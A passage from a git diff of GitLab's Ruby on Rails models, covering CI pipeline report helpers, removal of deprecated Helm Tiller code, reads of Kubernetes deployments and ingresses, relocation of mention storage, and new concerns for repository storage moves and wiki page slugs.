).base_and_descendants.select(:id)
end
@@ -869,6 +929,15 @@ module Ci
.base_and_descendants
end
+ def root_ancestor
+ return self unless child?
+
+ Gitlab::Ci::PipelineObjectHierarchy
+ .new(self.class.unscoped.where(id: id), options: { same_project: true })
+ .base_and_ancestors(hierarchy_order: :desc)
+ .first
+ end
+
def bridge_triggered?
source_bridge.present?
end
@@ -878,7 +947,8 @@ module Ci
end
def child?
- parent_pipeline.present?
+ parent_pipeline? && # child pipelines have `parent_pipeline` source
+ parent_pipeline.present?
end
def parent?
@@ -910,10 +980,18 @@ module Ci
builds.latest.with_reports(reports_scope)
end
+ def latest_test_report_builds
+ latest_report_builds(Ci::JobArtifact.test_reports).preload(:project)
+ end
+
def builds_with_coverage
builds.latest.with_coverage
end
+ def builds_with_failed_tests(limit: nil)
+ latest_test_report_builds.failed.limit(limit)
+ end
+
def has_reports?(reports_scope)
complete? && latest_report_builds(reports_scope).exists?
end
@@ -934,7 +1012,7 @@ module Ci
def test_reports
Gitlab::Ci::Reports::TestReports.new.tap do |test_reports|
- latest_report_builds(Ci::JobArtifact.test_reports).preload(:project).find_each do |build|
+ latest_test_report_builds.find_each do |build|
build.collect_test_reports!(test_reports)
end
end
@@ -950,12 +1028,20 @@ module Ci
def coverage_reports
Gitlab::Ci::Reports::CoverageReports.new.tap do |coverage_reports|
- latest_report_builds(Ci::JobArtifact.coverage_reports).each do |build|
+ latest_report_builds(Ci::JobArtifact.coverage_reports).includes(:project).find_each do |build|
build.collect_coverage_reports!(coverage_reports)
end
end
end
+ def codequality_reports
+ Gitlab::Ci::Reports::CodequalityReports.new.tap do |codequality_reports|
+ latest_report_builds(Ci::JobArtifact.codequality_reports).each do |build|
+ build.collect_codequality_reports!(codequality_reports)
+ end
+ end
+ end
+
def terraform_reports
::Gitlab::Ci::Reports::TerraformReports.new.tap do |terraform_reports|
latest_report_builds(::Ci::JobArtifact.terraform_reports).each do |build|
@@ -1128,7 +1214,25 @@ module Ci
end
def pipeline_data
- Gitlab::DataBuilder::Pipeline.build(self)
+ strong_memoize(:pipeline_data) do
+ Gitlab::DataBuilder::Pipeline.build(self)
+ end
+ end
+
+ def merge_request_diff_sha
+ return unless merge_request?
+
+ if merge_request_pipeline?
+ source_sha
+ else
+ sha
+ end
+ end
+
+ def merge_request_diff
+ return unless merge_request?
+
+ merge_request.merge_request_diff_for(merge_request_diff_sha)
end
def push_details
diff --git a/app/models/clusters/agent.rb b/app/models/clusters/agent.rb
index 5feb3b0a1e6..c58a3bab1a9 100644
--- a/app/models/clusters/agent.rb
+++ b/app/models/clusters/agent.rb
@@ -19,5 +19,9 @@ module Clusters
with: Gitlab::Regex.cluster_agent_name_regex,
message: Gitlab::Regex.cluster_agent_name_regex_message
}
+
+ def has_access_to?(requested_project)
+ requested_project == project
+ end
end
end
diff --git a/app/models/clusters/applications/helm.rb b/app/models/clusters/applications/helm.rb
index d1d6defb713..6f4b273a2c8 100644
--- a/app/models/clusters/applications/helm.rb
+++ b/app/models/clusters/applications/helm.rb
@@ -4,8 +4,8 @@ require 'openssl'
module Clusters
module Applications
- # DEPRECATED: This model represents the Helm 2 Tiller server, and is no longer being actively used.
- # It is being kept around for a potential cleanup of the unused Tiller server.
+ # DEPRECATED: This model represents the Helm 2 Tiller server.
+ # It is being kept around to enable the cleanup of the unused Tiller server.
class Helm < ApplicationRecord
self.table_name = 'clusters_applications_helm'
@@ -27,29 +27,11 @@ module Clusters
end
def set_initial_status
- return unless not_installable?
-
- self.status = status_states[:installable] if cluster&.platform_kubernetes_active?
- end
-
- # It can only be uninstalled if there are no other applications installed
- # or with intermitent installation statuses in the database.
- def allowed_to_uninstall?
- strong_memoize(:allowed_to_uninstall) do
- applications = nil
-
- Clusters::Cluster::APPLICATIONS.each do |application_name, klass|
- next if application_name == 'helm'
-
- extra_apps = Clusters::Applications::Helm.where('EXISTS (?)', klass.select(1).where(cluster_id: cluster_id))
-
- applications = applications ? applications.or(extra_apps) : extra_apps
- end
-
- !applications.exists?
- end
+ # The legacy Tiller server is not installable, which is the initial status of every app
end
+ # DEPRECATED: This command is only for development and testing purposes, to simulate
+ # a Helm 2 cluster with an existing Tiller server.
def install_command
Gitlab::Kubernetes::Helm::V2::InitCommand.new(
name: name,
@@ -70,13 +52,6 @@ module Clusters
ca_key.present? && ca_cert.present?
end
- def post_uninstall
- cluster.kubeclient.delete_namespace(Gitlab::Kubernetes::Helm::NAMESPACE)
- rescue Kubeclient::ResourceNotFoundError
- # we actually don't care if the namespace is not present
- # since we want to delete it anyway.
- end
-
private
def files
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
index 03f4caccccd..1e41b6f4f31 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.22.0'
+ VERSION = '0.23.0'
self.table_name = 'clusters_applications_runners'
diff --git a/app/models/clusters/cluster.rb b/app/models/clusters/cluster.rb
index 3cf5542ae76..a34d8a6b98d 100644
--- a/app/models/clusters/cluster.rb
+++ b/app/models/clusters/cluster.rb
@@ -149,8 +149,8 @@ module Clusters
scope :for_project_namespace, -> (namespace_id) { joins(:projects).where(projects: { namespace_id: namespace_id }) }
scope :with_application_prometheus, -> { includes(:application_prometheus).joins(:application_prometheus) }
- scope :with_project_alert_service_data, -> (project_ids) do
- conditions = { projects: { alerts_service: [:data] } }
+ scope :with_project_http_integrations, -> (project_ids) do
+ conditions = { projects: :alert_management_http_integrations }
includes(conditions).joins(conditions).where(projects: { id: project_ids })
end
diff --git a/app/models/clusters/concerns/application_core.rb b/app/models/clusters/concerns/application_core.rb
index b82b1887308..ad6699daa78 100644
--- a/app/models/clusters/concerns/application_core.rb
+++ b/app/models/clusters/concerns/application_core.rb
@@ -62,6 +62,14 @@ module Clusters
end
end
+ def uninstall_command
+ helm_command_module::DeleteCommand.new(
+ name: name,
+ rbac: cluster.platform_kubernetes_rbac?,
+ files: files
+ )
+ end
+
def prepare_uninstall
# Override if your application needs any action before
# being uninstalled by Helm
diff --git a/app/models/clusters/concerns/application_data.rb b/app/models/clusters/concerns/application_data.rb
index 00aeb7669ad..a022f174faf 100644
--- a/app/models/clusters/concerns/application_data.rb
+++ b/app/models/clusters/concerns/application_data.rb
@@ -3,14 +3,6 @@
module Clusters
module Concerns
module ApplicationData
- def uninstall_command
- helm_command_module::DeleteCommand.new(
- name: name,
- rbac: cluster.platform_kubernetes_rbac?,
- files: files
- )
- end
-
def repository
nil
end
diff --git a/app/models/clusters/platforms/kubernetes.rb b/app/models/clusters/platforms/kubernetes.rb
index b85a902d58b..84de5828491 100644
--- a/app/models/clusters/platforms/kubernetes.rb
+++ b/app/models/clusters/platforms/kubernetes.rb
@@ -94,9 +94,20 @@ module Clusters
return unless enabled?
pods = read_pods(environment.deployment_namespace)
+ deployments = read_deployments(environment.deployment_namespace)
- # extract_relevant_pod_data avoids uploading all the pod info into ReactiveCaching
- { pods: extract_relevant_pod_data(pods) }
+ ingresses = if ::Feature.enabled?(:canary_ingress_weight_control, environment.project, default_enabled: true)
+ read_ingresses(environment.deployment_namespace)
+ else
+ []
+ end
+
+ # extract only the data required for display to avoid unnecessary caching
+ {
+ pods: extract_relevant_pod_data(pods),
+ deployments: extract_relevant_deployment_data(deployments),
+ ingresses: extract_relevant_ingress_data(ingresses)
+ }
end
def terminals(environment, data)
@@ -109,6 +120,25 @@ module Clusters
@kubeclient ||= build_kube_client!
end
+ def rollout_status(environment, data)
+ project = environment.project
+
+ deployments = filter_by_project_environment(data[:deployments], project.full_path_slug, environment.slug)
+ pods = filter_by_project_environment(data[:pods], project.full_path_slug, environment.slug)
+ ingresses = data[:ingresses].presence || []
+
+ ::Gitlab::Kubernetes::RolloutStatus.from_deployments(*deployments, pods_attrs: pods, ingresses: ingresses)
+ end
+
+ def ingresses(namespace)
+ ingresses = read_ingresses(namespace)
+ ingresses.map { |ingress| ::Gitlab::Kubernetes::Ingress.new(ingress) }
+ end
+
+ def patch_ingress(namespace, ingress, data)
+ kubeclient.patch_ingress(ingress.name, data, namespace)
+ end
+
private
def default_namespace(project, environment_name:)
@@ -140,6 +170,18 @@ module Clusters
[]
end
+ def read_deployments(namespace)
+ kubeclient.get_deployments(namespace: namespace).as_json
+ rescue Kubeclient::ResourceNotFoundError
+ []
+ end
+
+ def read_ingresses(namespace)
+ kubeclient.get_ingresses(namespace: namespace).as_json
+ rescue Kubeclient::ResourceNotFoundError
+ []
+ end
+
def build_kube_client!
raise "Incomplete settings" unless api_url
@@ -231,8 +273,24 @@ module Clusters
}
end
end
+
+ def extract_relevant_deployment_data(deployments)
+ deployments.map do |deployment|
+ {
+ 'metadata' => deployment.fetch('metadata', {}).slice('name', 'generation', 'labels', 'annotations'),
+ 'spec' => deployment.fetch('spec', {}).slice('replicas'),
+ 'status' => deployment.fetch('status', {}).slice('observedGeneration')
+ }
+ end
+ end
+
+ def extract_relevant_ingress_data(ingresses)
+ ingresses.map do |ingress|
+ {
+ 'metadata' => ingress.fetch('metadata', {}).slice('name', 'labels', 'annotations')
+ }
+ end
+ end
end
end
end
-
-Clusters::Platforms::Kubernetes.prepend_if_ee('EE::Clusters::Platforms::Kubernetes')
diff --git a/app/models/commit_collection.rb b/app/models/commit_collection.rb
index 07c49ed48e6..a3ee8e4f364 100644
--- a/app/models/commit_collection.rb
+++ b/app/models/commit_collection.rb
@@ -86,9 +86,9 @@ class CommitCollection
# Batch load full Commits from the repository
# and map to a Hash of id => Commit
- replacements = Hash[unenriched.map do |c|
- [c.id, Commit.lazy(container, c.id)]
- end.compact]
+ replacements = unenriched.each_with_object({}) do |c, result|
+ result[c.id] = Commit.lazy(container, c.id)
+ end.compact
# Replace the commits, keeping the same order
@commits = @commits.map do |original_commit|
diff --git a/app/models/concerns/cache_markdown_field.rb b/app/models/concerns/cache_markdown_field.rb
index 49fc780f372..45944401c2d 100644
--- a/app/models/concerns/cache_markdown_field.rb
+++ b/app/models/concerns/cache_markdown_field.rb
@@ -70,8 +70,12 @@ module CacheMarkdownField
def refresh_markdown_cache!
updates = refresh_markdown_cache
-
- save_markdown(updates)
+ if updates.present? && save_markdown(updates)
+ # save_markdown updates DB columns directly, so compute and save mentions
+ # by calling store_mentions! or we end-up with missing mentions although those
+ # would appear in the notes, descriptions, etc in the UI
+ store_mentions! if mentionable_attributes_changed?(updates)
+ end
end
def cached_html_up_to_date?(markdown_field)
@@ -106,7 +110,19 @@ module CacheMarkdownField
def updated_cached_html_for(markdown_field)
return unless cached_markdown_fields.markdown_fields.include?(markdown_field)
- refresh_markdown_cache! if attribute_invalidated?(cached_markdown_fields.html_field(markdown_field))
+ if attribute_invalidated?(cached_markdown_fields.html_field(markdown_field))
+ # Invalidated due to Markdown content change
+ # We should not persist the updated HTML here since this will depend on whether the
+ # Markdown content change will be persisted. Both will be persisted together when the model is saved.
+ if changed_attributes.key?(markdown_field)
+ refresh_markdown_cache
+ else
+ # Invalidated due to stale HTML cache
+ # This could happen when the Markdown cache version is bumped or when a model is imported and the HTML is empty.
+ # We persist the updated HTML here so that subsequent calls to this method do not have to regenerate the HTML again.
+ refresh_markdown_cache!
+ end
+ end
cached_html_for(markdown_field)
end
@@ -140,6 +156,46 @@ module CacheMarkdownField
nil
end
+ def store_mentions!
+ refs = all_references(self.author)
+
+ references = {}
+ references[:mentioned_users_ids] = refs.mentioned_users&.pluck(:id).presence
+ references[:mentioned_groups_ids] = refs.mentioned_groups&.pluck(:id).presence
+ references[:mentioned_projects_ids] = refs.mentioned_projects&.pluck(:id).presence
+
+ # One retry is enough as next time `model_user_mention` should return the existing mention record,
+ # that threw the `ActiveRecord::RecordNotUnique` exception in first place.
+ self.class.safe_ensure_unique(retries: 1) do
+ user_mention = model_user_mention
+
+ # this may happen due to notes polymorphism, so noteable_id may point to a record
+ # that no longer exists as we cannot have FK on noteable_id
+ break if user_mention.blank?
+
+ user_mention.mentioned_users_ids = references[:mentioned_users_ids]
+ user_mention.mentioned_groups_ids = references[:mentioned_groups_ids]
+ user_mention.mentioned_projects_ids = references[:mentioned_projects_ids]
+
+ if user_mention.has_mentions?
+ user_mention.save!
+ else
+ user_mention.destroy!
+ end
+ end
+
+ true
+ end
+
+ def mentionable_attributes_changed?(changes = saved_changes)
+ return false unless is_a?(Mentionable)
+
+ self.class.mentionable_attrs.any? do |attr|
+ changes.key?(cached_markdown_fields.html_field(attr.first)) &&
+ changes.fetch(cached_markdown_fields.html_field(attr.first)).last.present?
+ end
+ end
+
included do
cattr_reader :cached_markdown_fields do
Gitlab::MarkdownCache::FieldData.new
diff --git a/app/models/concerns/can_move_repository_storage.rb b/app/models/concerns/can_move_repository_storage.rb
new file mode 100644
index 00000000000..52c3a4106e3
--- /dev/null
+++ b/app/models/concerns/can_move_repository_storage.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module CanMoveRepositoryStorage
+ extend ActiveSupport::Concern
+
+ RepositoryReadOnlyError = Class.new(StandardError)
+
+ # Tries to set repository as read_only, checking for existing Git transfers in
+ # progress beforehand. Setting a repository read-only will fail if it is
+ # already in that state.
+ #
+ # @return nil. Failures will raise an exception
+ def set_repository_read_only!(skip_git_transfer_check: false)
+ with_lock do
+ raise RepositoryReadOnlyError, _('Git transfer in progress') if
+ !skip_git_transfer_check && git_transfer_in_progress?
+
+ raise RepositoryReadOnlyError, _('Repository already read-only') if
+ self.class.where(id: id).pick(:repository_read_only)
+
+ raise ActiveRecord::RecordNotSaved, _('Database update failed') unless
+ update_column(:repository_read_only, true)
+
+ nil
+ end
+ end
+
+ # Set repository as writable again. Unlike setting it read-only, this will
+ # succeed if the repository is already writable.
+ def set_repository_writable!
+ with_lock do
+ raise ActiveRecord::RecordNotSaved, _('Database update failed') unless
+ update_column(:repository_read_only, false)
+
+ nil
+ end
+ end
+
+ def git_transfer_in_progress?
+ reference_counter(type: repository.repo_type).value > 0
+ end
+
+ def reference_counter(type:)
+ Gitlab::ReferenceCounter.new(type.identifier_for_container(self))
+ end
+end
diff --git a/app/models/concerns/case_sensitivity.rb b/app/models/concerns/case_sensitivity.rb
index abddbf1c7e3..31b5afd604d 100644
--- a/app/models/concerns/case_sensitivity.rb
+++ b/app/models/concerns/case_sensitivity.rb
@@ -11,12 +11,14 @@ module CaseSensitivity
def iwhere(params)
criteria = self
- params.each do |key, value|
+ params.each do |column, value|
+ column = arel_table[column] unless column.is_a?(Arel::Attribute)
+
criteria = case value
when Array
- criteria.where(value_in(key, value))
+ criteria.where(value_in(column, value))
else
- criteria.where(value_equal(key, value))
+ criteria.where(value_equal(column, value))
end
end
@@ -28,7 +30,7 @@ module CaseSensitivity
def value_equal(column, value)
lower_value = lower_value(value)
- lower_column(arel_table[column]).eq(lower_value).to_sql
+ lower_column(column).eq(lower_value).to_sql
end
def value_in(column, values)
@@ -36,7 +38,7 @@ module CaseSensitivity
lower_value(value)
end
- lower_column(arel_table[column]).in(lower_values).to_sql
+ lower_column(column).in(lower_values).to_sql
end
def lower_value(value)
diff --git a/app/models/concerns/enums/ci/pipeline.rb b/app/models/concerns/enums/ci/pipeline.rb
index bb8df37f649..e1f07fa162c 100644
--- a/app/models/concerns/enums/ci/pipeline.rb
+++ b/app/models/concerns/enums/ci/pipeline.rb
@@ -9,7 +9,8 @@ module Enums
{
unknown_failure: 0,
config_error: 1,
- external_validation_failure: 2
+ external_validation_failure: 2,
+ deployments_limit_exceeded: 23
}
end
@@ -24,8 +25,6 @@ module Enums
schedule: 4,
api: 5,
external: 6,
- # TODO: Rename `pipeline` to `cross_project_pipeline` in 13.0
- # https://gitlab.com/gitlab-org/gitlab/issues/195991
pipeline: 7,
chat: 8,
webide: 9,
@@ -53,6 +52,10 @@ module Enums
sources.except(*dangling_sources.keys)
end
+ def self.ci_branch_sources
+ ci_sources.except(:merge_request_event)
+ end
+
def self.ci_and_parent_sources
ci_sources.merge(sources.slice(:parent_pipeline))
end
diff --git a/app/models/concerns/enums/data_visualization_palette.rb b/app/models/concerns/enums/data_visualization_palette.rb
new file mode 100644
index 00000000000..25002e64ba6
--- /dev/null
+++ b/app/models/concerns/enums/data_visualization_palette.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Enums
+ # These color palettes are part of the Pajamas Design System.
+ # See https://design.gitlab.com/data-visualization/color/#categorical-data
+ module DataVisualizationPalette
+ def self.colors
+ {
+ blue: 0,
+ orange: 1,
+ aqua: 2,
+ green: 3,
+ magenta: 4
+ }
+ end
+
+ def self.weights
+ {
+ '50' => 0,
+ '100' => 1,
+ '200' => 2,
+ '300' => 3,
+ '400' => 4,
+ '500' => 5,
+ '600' => 6,
+ '700' => 7,
+ '800' => 8,
+ '900' => 9,
+ '950' => 10
+ }
+ end
+ end
+end
diff --git a/app/models/concerns/enums/internal_id.rb b/app/models/concerns/enums/internal_id.rb
index f01bd60ef16..b08c05b1934 100644
--- a/app/models/concerns/enums/internal_id.rb
+++ b/app/models/concerns/enums/internal_id.rb
@@ -15,7 +15,8 @@ module Enums
operations_user_lists: 7,
alert_management_alerts: 8,
sprints: 9, # iterations
- design_management_designs: 10
+ design_management_designs: 10,
+ incident_management_oncall_schedules: 11
}
end
end
diff --git a/app/models/concerns/has_repository.rb b/app/models/concerns/has_repository.rb
index 3dea4a9f5fb..9692941d8b2 100644
--- a/app/models/concerns/has_repository.rb
+++ b/app/models/concerns/has_repository.rb
@@ -88,7 +88,7 @@ module HasRepository
group_branch_default_name = group&.default_branch_name if respond_to?(:group)
- group_branch_default_name || Gitlab::CurrentSettings.default_branch_name
+ (group_branch_default_name || Gitlab::CurrentSettings.default_branch_name).presence
end
def reload_default_branch
diff --git a/app/models/concerns/has_wiki_page_meta_attributes.rb b/app/models/concerns/has_wiki_page_meta_attributes.rb
new file mode 100644
index 00000000000..136f2d00ce3
--- /dev/null
+++ b/app/models/concerns/has_wiki_page_meta_attributes.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+module HasWikiPageMetaAttributes
+ extend ActiveSupport::Concern
+ include Gitlab::Utils::StrongMemoize
+
+ CanonicalSlugConflictError = Class.new(ActiveRecord::RecordInvalid)
+ WikiPageInvalid = Class.new(ArgumentError)
+
+ included do
+ has_many :events, as: :target, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
+
+ validates :title, length: { maximum: 255 }, allow_nil: false
+ validate :no_two_metarecords_in_same_container_can_have_same_canonical_slug
+
+ scope :with_canonical_slug, ->(slug) do
+ slug_table_name = klass.reflect_on_association(:slugs).table_name
+
+ joins(:slugs).where(slug_table_name => { canonical: true, slug: slug })
+ end
+ end
+
+ class_methods do
+ # Return the (updated) WikiPage::Meta record for a given wiki page
+ #
+ # If none is found, then a new record is created, and its fields are set
+ # to reflect the wiki_page passed.
+ #
+ # @param [String] last_known_slug
+ # @param [WikiPage] wiki_page
+ #
+ # This method raises errors on validation issues.
+ def find_or_create(last_known_slug, wiki_page)
+ raise WikiPageInvalid unless wiki_page.valid?
+
+ container = wiki_page.wiki.container
+ known_slugs = [last_known_slug, wiki_page.slug].compact.uniq
+ raise 'No slugs found! This should not be possible.' if known_slugs.empty?
+
+ transaction do
+ updates = wiki_page_updates(wiki_page)
+ found = find_by_canonical_slug(known_slugs, container)
+ meta = found || create!(updates.merge(container_attrs(container)))
+
+ meta.update_state(found.nil?, known_slugs, wiki_page, updates)
+
+ # We don't need to run validations here, since find_by_canonical_slug
+ # guarantees that there is no conflict in canonical_slug, and DB
+ # constraints on title and project_id/group_id enforce our other invariants
+ # This saves us a query.
+ meta
+ end
+ end
+
+ def find_by_canonical_slug(canonical_slug, container)
+ meta, conflict = with_canonical_slug(canonical_slug)
+ .where(container_attrs(container))
+ .limit(2)
+
+ if conflict.present?
+ meta.errors.add(:canonical_slug, 'Duplicate value found')
+ raise CanonicalSlugConflictError.new(meta)
+ end
+
+ meta
+ end
+
+ private
+
+ def wiki_page_updates(wiki_page)
+ last_commit_date = wiki_page.version_commit_timestamp || Time.now.utc
+
+ {
+ title: wiki_page.title,
+ created_at: last_commit_date,
+ updated_at: last_commit_date
+ }
+ end
+
+ def container_key
+ raise NotImplementedError
+ end
+
+ def container_attrs(container)
+ { container_key => container.id }
+ end
+ end
+
+ def canonical_slug
+ strong_memoize(:canonical_slug) { slugs.canonical.take&.slug }
+ end
+
+ # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ def canonical_slug=(slug)
+ return if @canonical_slug == slug
+
+ if persisted?
+ transaction do
+ slugs.canonical.update_all(canonical: false)
+ page_slug = slugs.create_with(canonical: true).find_or_create_by(slug: slug)
+ page_slug.update_columns(canonical: true) unless page_slug.canonical?
+ end
+ else
+ slugs.new(slug: slug, canonical: true)
+ end
+
+ @canonical_slug = slug
+ end
+ # rubocop:enable Gitlab/ModuleWithInstanceVariables
+
+ def update_state(created, known_slugs, wiki_page, updates)
+ update_wiki_page_attributes(updates)
+ insert_slugs(known_slugs, created, wiki_page.slug)
+ self.canonical_slug = wiki_page.slug
+ end
+
+ private
+
+ def update_wiki_page_attributes(updates)
+ # Remove all unnecessary updates:
+ updates.delete(:updated_at) if updated_at == updates[:updated_at]
+ updates.delete(:created_at) if created_at <= updates[:created_at]
+ updates.delete(:title) if title == updates[:title]
+
+ update_columns(updates) unless updates.empty?
+ end
+
+ def insert_slugs(strings, is_new, canonical_slug)
+ creation = Time.current.utc
+
+ slug_attrs = strings.map do |slug|
+ slug_attributes(slug, canonical_slug, is_new, creation)
+ end
+ slugs.insert_all(slug_attrs) unless !is_new && slug_attrs.size == 1
+
+ @canonical_slug = canonical_slug if is_new || strings.size == 1 # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
+
+ def slug_attributes(slug, canonical_slug, is_new, creation)
+ {
+ slug: slug,
+ canonical: (is_new && slug == canonical_slug),
+ created_at: creation,
+ updated_at: creation
+ }.merge(slug_meta_attributes)
+ end
+
+ def slug_meta_attributes
+ { self.association(:slugs).reflection.foreign_key => id }
+ end
+
+ def no_two_metarecords_in_same_container_can_have_same_canonical_slug
+ container_id = attributes[self.class.container_key.to_s]
+
+ return unless container_id.present? && canonical_slug.present?
+
+ offending = self.class.with_canonical_slug(canonical_slug).where(self.class.container_key => container_id)
+ offending = offending.where.not(id: id) if persisted?
+
+ if offending.exists?
+ errors.add(:canonical_slug, 'each page in a wiki must have a distinct canonical slug')
+ end
+ end
+end
diff --git a/app/models/concerns/has_wiki_page_slug_attributes.rb b/app/models/concerns/has_wiki_page_slug_attributes.rb
new file mode 100644
index 00000000000..3335eccbaf6
--- /dev/null
+++ b/app/models/concerns/has_wiki_page_slug_attributes.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module HasWikiPageSlugAttributes
+ extend ActiveSupport::Concern
+
+ included do
+ validates :slug, uniqueness: { scope: meta_foreign_key }
+ validates :slug, length: { maximum: 2048 }, allow_nil: false
+ validates :canonical, uniqueness: {
+ scope: meta_foreign_key,
+ if: :canonical?,
+ message: 'Only one slug can be canonical per wiki metadata record'
+ }
+
+ scope :canonical, -> { where(canonical: true) }
+
+ def update_columns(attrs = {})
+ super(attrs.reverse_merge(updated_at: Time.current.utc))
+ end
+ end
+
+ def self.update_all(attrs = {})
+ super(attrs.reverse_merge(updated_at: Time.current.utc))
+ end
+end
diff --git a/app/models/concerns/ignorable_columns.rb b/app/models/concerns/ignorable_columns.rb
index 744a1f0b5f3..4cbcb25406d 100644
--- a/app/models/concerns/ignorable_columns.rb
+++ b/app/models/concerns/ignorable_columns.rb
@@ -31,15 +31,13 @@ module IgnorableColumns
alias_method :ignore_column, :ignore_columns
def ignored_columns_details
- unless defined?(@ignored_columns_details)
- IGNORE_COLUMN_MUTEX.synchronize do
- @ignored_columns_details ||= superclass.try(:ignored_columns_details)&.dup || {}
- end
- end
+ return @ignored_columns_details if defined?(@ignored_columns_details)
- @ignored_columns_details
+ IGNORE_COLUMN_MONITOR.synchronize do
+ @ignored_columns_details ||= superclass.try(:ignored_columns_details)&.dup || {}
+ end
end
- IGNORE_COLUMN_MUTEX = Mutex.new
+ IGNORE_COLUMN_MONITOR = Monitor.new
end
end
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index 7624a1a4e80..c3a394c1ca5 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -84,7 +84,6 @@ module Issuable
validate :description_max_length_for_new_records_is_valid, on: :update
before_validation :truncate_description_on_import!
- after_save :store_mentions!, if: :any_mentionable_attributes_changed?
scope :authored, ->(user) { where(author_id: user) }
scope :recent, -> { reorder(id: :desc) }
@@ -198,7 +197,7 @@ module Issuable
end
def severity
- return IssuableSeverity::DEFAULT unless incident?
+ return IssuableSeverity::DEFAULT unless supports_severity?
issuable_severity&.severity || IssuableSeverity::DEFAULT
end
@@ -305,14 +304,12 @@ module Issuable
end
def order_labels_priority(direction = 'ASC', excluded_labels: [], extra_select_columns: [], with_cte: false)
- params = {
+ highest_priority = highest_label_priority(
target_type: name,
target_column: "#{table_name}.id",
project_column: "#{table_name}.#{project_foreign_key}",
excluded_labels: excluded_labels
- }
-
- highest_priority = highest_label_priority(params).to_sql
+ ).to_sql
# When using CTE make sure to select the same columns that are on the group_by clause.
# This prevents errors when ignored columns are present in the database.
diff --git a/app/models/concerns/mentionable.rb b/app/models/concerns/mentionable.rb
index b10e8547e86..5db077c178d 100644
--- a/app/models/concerns/mentionable.rb
+++ b/app/models/concerns/mentionable.rb
@@ -80,37 +80,6 @@ module Mentionable
all_references(current_user).users
end
- def store_mentions!
- refs = all_references(self.author)
-
- references = {}
- references[:mentioned_users_ids] = refs.mentioned_users&.pluck(:id).presence
- references[:mentioned_groups_ids] = refs.mentioned_groups&.pluck(:id).presence
- references[:mentioned_projects_ids] = refs.mentioned_projects&.pluck(:id).presence
-
- # One retry should be enough as next time `model_user_mention` should return the existing mention record, that
- # threw the `ActiveRecord::RecordNotUnique` exception in first place.
- self.class.safe_ensure_unique(retries: 1) do
- user_mention = model_user_mention
-
- # this may happen due to notes polymorphism, so noteable_id may point to a record that no longer exists
- # as we cannot have FK on noteable_id
- break if user_mention.blank?
-
- user_mention.mentioned_users_ids = references[:mentioned_users_ids]
- user_mention.mentioned_groups_ids = references[:mentioned_groups_ids]
- user_mention.mentioned_projects_ids = references[:mentioned_projects_ids]
-
- if user_mention.has_mentions?
- user_mention.save!
- else
- user_mention.destroy!
- end
- end
-
- true
- end
-
def referenced_users
User.where(id: user_mentions.select("unnest(mentioned_users_ids)"))
end
@@ -216,12 +185,6 @@ module Mentionable
source.select { |key, val| mentionable.include?(key) }
end
- def any_mentionable_attributes_changed?
- self.class.mentionable_attrs.any? do |attr|
- saved_changes.key?(attr.first)
- end
- end
-
# Determine whether or not a cross-reference Note has already been created between this Mentionable and
# the specified target.
def cross_reference_exists?(target)
@@ -237,12 +200,12 @@ module Mentionable
end
# User mention that is parsed from model description rather then its related notes.
- # Models that have a descriprion attribute like Issue, MergeRequest, Epic, Snippet may have such a user mention.
+ # Models that have a description attribute like Issue, MergeRequest, Epic, Snippet may have such a user mention.
# Other mentionable models like Commit, DesignManagement::Design, will never have such record as those do not have
# a description attribute.
#
# Using this method followed by a call to *save* may result in *ActiveRecord::RecordNotUnique* exception
- # in a multithreaded environment. Make sure to use it within a *safe_ensure_unique* block.
+ # in a multi-threaded environment. Make sure to use it within a *safe_ensure_unique* block.
def model_user_mention
user_mentions.where(note_id: nil).first_or_initialize
end
diff --git a/app/models/concerns/optimized_issuable_label_filter.rb b/app/models/concerns/optimized_issuable_label_filter.rb
index 7be4a26d4fa..82055822cfb 100644
--- a/app/models/concerns/optimized_issuable_label_filter.rb
+++ b/app/models/concerns/optimized_issuable_label_filter.rb
@@ -1,6 +1,15 @@
# frozen_string_literal: true
module OptimizedIssuableLabelFilter
+ extend ActiveSupport::Concern
+
+ prepended do
+ extend Gitlab::Cache::RequestCache
+
+ # Avoid repeating label queries times when the finder is instantiated multiple times during the request.
+ request_cache(:find_label_ids) { [root_namespace.id, params.label_names] }
+ end
+
def by_label(items)
return items unless params.labels?
@@ -41,7 +50,7 @@ module OptimizedIssuableLabelFilter
def issuables_with_selected_labels(items, target_model)
if root_namespace
- all_label_ids = find_label_ids(root_namespace)
+ all_label_ids = find_label_ids
# Found less labels in the DB than we were searching for. Return nothing.
return items.none if all_label_ids.size != params.label_names.size
@@ -57,18 +66,20 @@ module OptimizedIssuableLabelFilter
items
end
- def find_label_ids(root_namespace)
- finder_params = {
- include_subgroups: true,
- include_ancestor_groups: true,
- include_descendant_groups: true,
- group: root_namespace,
- title: params.label_names
- }
-
- LabelsFinder
- .new(nil, finder_params)
- .execute(skip_authorization: true)
+ def find_label_ids
+ group_labels = Label
+ .where(project_id: nil)
+ .where(title: params.label_names)
+ .where(group_id: root_namespace.self_and_descendants.select(:id))
+
+ project_labels = Label
+ .where(group_id: nil)
+ .where(title: params.label_names)
+ .where(project_id: Project.select(:id).where(namespace_id: root_namespace.self_and_descendants.select(:id)))
+
+ Label
+ .from_union([group_labels, project_labels], remove_duplicates: false)
+ .reorder(nil)
.pluck(:title, :id)
.group_by(&:first)
.values
diff --git a/app/models/concerns/project_features_compatibility.rb b/app/models/concerns/project_features_compatibility.rb
index b69fb2931c3..07bec07e556 100644
--- a/app/models/concerns/project_features_compatibility.rb
+++ b/app/models/concerns/project_features_compatibility.rb
@@ -70,6 +70,14 @@ module ProjectFeaturesCompatibility
write_feature_attribute_string(:metrics_dashboard_access_level, value)
end
+ def analytics_access_level=(value)
+ write_feature_attribute_string(:analytics_access_level, value)
+ end
+
+ def operations_access_level=(value)
+ write_feature_attribute_string(:operations_access_level, value)
+ end
+
